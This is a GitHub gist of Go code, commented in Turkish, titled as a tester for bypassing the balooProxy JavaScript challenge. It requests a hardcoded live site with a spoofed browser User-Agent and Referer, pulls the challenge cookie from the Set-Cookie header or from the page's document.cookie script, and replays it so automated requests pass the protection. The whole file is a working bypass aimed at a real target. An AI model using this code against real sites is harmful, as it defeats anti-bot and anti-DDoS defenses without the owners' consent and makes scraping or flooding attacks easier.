Skip to content

Instantly share code, notes, and snippets.

@lwertugrul
Last active July 2, 2025 06:04
Show Gist options
  • Save lwertugrul/dce2bbdad543e0210cf6fc12702c07b0 to your computer and use it in GitHub Desktop.
Save lwertugrul/dce2bbdad543e0210cf6fc12702c07b0 to your computer and use it in GitHub Desktop.
balooProxy Bypass JS Waf Tester
package main
import (
"fmt"
"net/http"
"regexp"
"io/ioutil"
)
// İlk istekte cookie'yi alacak şekilde kodu düzenliyoruz.
func main() {
// İlk istek atılıyor
firstRequestURL := "https://bxv.gg/"
client := &http.Client{
// Yönlendirmeleri durduruyoruz
CheckRedirect: func(req *http.Request, via []*http.Request) error {
// Yönlendirmeyi durduruyoruz ve hemen response dönüyoruz.
return http.ErrUseLastResponse
},
}
// İlk isteği yapıyoruz
req, err := http.NewRequest("GET", firstRequestURL, nil)
if err != nil {
fmt.Println("Error creating request:", err)
return
}
req.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0")
req.Header.Set("Referer", "https://www.google.com/")
// Yanıtı alıyoruz
resp, err := client.Do(req)
if err != nil {
fmt.Println("Error making request:", err)
return
}
defer resp.Body.Close()
// Yanıtın statüsünü yazdırıyoruz
fmt.Printf("First Response Status: %s\n", resp.Status)
fmt.Printf("First Response Headers: %+v\n", resp.Header)
// Set-Cookie header'ından cookie değerini alıyoruz
if resp.StatusCode == http.StatusFound { // HTTP 302
cookieValue, cookieName := getCookieFromSetCookie(resp)
fmt.Printf("Mod 1: Found Cookie: %s=%s\n", cookieName, cookieValue)
// İkinci isteği bu cookie ile yapıyoruz
makeSecondRequest(cookieName, cookieValue)
} else {
// Mod 2 - JS üzerinden cookie alıyoruz
cookieValue, cookieName := getCookieFromJS(resp)
if cookieValue == "" {
fmt.Println("Cookie not found in JS response")
return
}
fmt.Printf("Mod 2: Found Cookie: %s=%s\n", cookieName, cookieValue)
// İkinci isteği bu cookie ile yapıyoruz
makeSecondRequest(cookieName, cookieValue)
}
}
// Mod 1: Set-Cookie header'dan cookie almak
func getCookieFromSetCookie(resp *http.Response) (string, string) {
setCookie := resp.Header.Get("Set-Cookie")
// Dinamik cookie ismini bulmak için regex
re := regexp.MustCompile(`([A-Za-z0-9_]+)=[a-zA-Z0-9]+`)
matches := re.FindStringSubmatch(setCookie)
if len(matches) < 2 {
fmt.Println("Cookie name not found in Set-Cookie header")
return "", ""
}
cookieName := matches[1]
reValue := regexp.MustCompile(`` + cookieName + `=([a-zA-Z0-9]+)`)
valueMatches := reValue.FindStringSubmatch(setCookie)
if len(valueMatches) < 2 {
fmt.Println("Cookie value not found in Set-Cookie header")
return "", ""
}
return valueMatches[1], cookieName
}
// Mod 2: JS içeriğinden cookie almak (Dinamik olarak ismini buluyoruz)
func getCookieFromJS(resp *http.Response) (string, string) {
// JS içeriğinde cookie'yi bulmak için regex
body, err := ioutil.ReadAll(resp.Body)
if err != nil {
fmt.Println("Error reading response body:", err)
return "", ""
}
jsCookieRe := regexp.MustCompile(
`document\.cookie\s*=\s*(?:"([^"\\]*(?:\\.[^"\\]*)*)"|'([^'\\]*(?:\\.[^'\\]*)*)')`,
)
matches := jsCookieRe.FindStringSubmatch(string(body))
if len(matches) > 0 {
// JS içeriğinden alınan cookie'yi çözümle
return parseCookieFromJS(matches[1])
}
// Eğer cookie bulunmazsa, boş döndürüyoruz
return "", ""
}
// JS içeriğinden doğru cookie'yi çıkarma
func parseCookieFromJS(cookieString string) (string, string) {
// Dinamik olarak cookie ismini buluyoruz
re := regexp.MustCompile(`([A-Za-z0-9_]+)=([a-zA-Z0-9]+)`)
matches := re.FindStringSubmatch(cookieString)
if len(matches) < 3 {
fmt.Println("Cookie parsing error in JS")
return "", ""
}
return matches[2], matches[1] // value, cookieName
}
// İkinci isteği gönderme
func makeSecondRequest(cookieName, cookieValue string) {
secondRequestURL := "https://bxv.gg/"
client := &http.Client{}
req2, err := http.NewRequest("GET", secondRequestURL, nil)
if err != nil {
fmt.Println("Error creating second request:", err)
return
}
// Cookie'yi header'a dinamik olarak ekliyoruz
req2.Header.Set("Cookie", cookieName+"="+cookieValue)
req2.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0")
req2.Header.Set("Referer", "https://www.google.com/")
// İkinci isteği yapıyoruz
resp2, err := client.Do(req2)
if err != nil {
fmt.Println("Error making second request:", err)
return
}
defer resp2.Body.Close()
// İkinci isteğin yanıtını alıyoruz
body2, err := ioutil.ReadAll(resp2.Body)
if err != nil {
fmt.Println("Error reading second response body:", err)
return
}
fmt.Println("Second Response Status:", resp2.Status)
fmt.Println("Second Response Headers:", resp2.Header)
fmt.Println("Response Body:", string(body2))
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment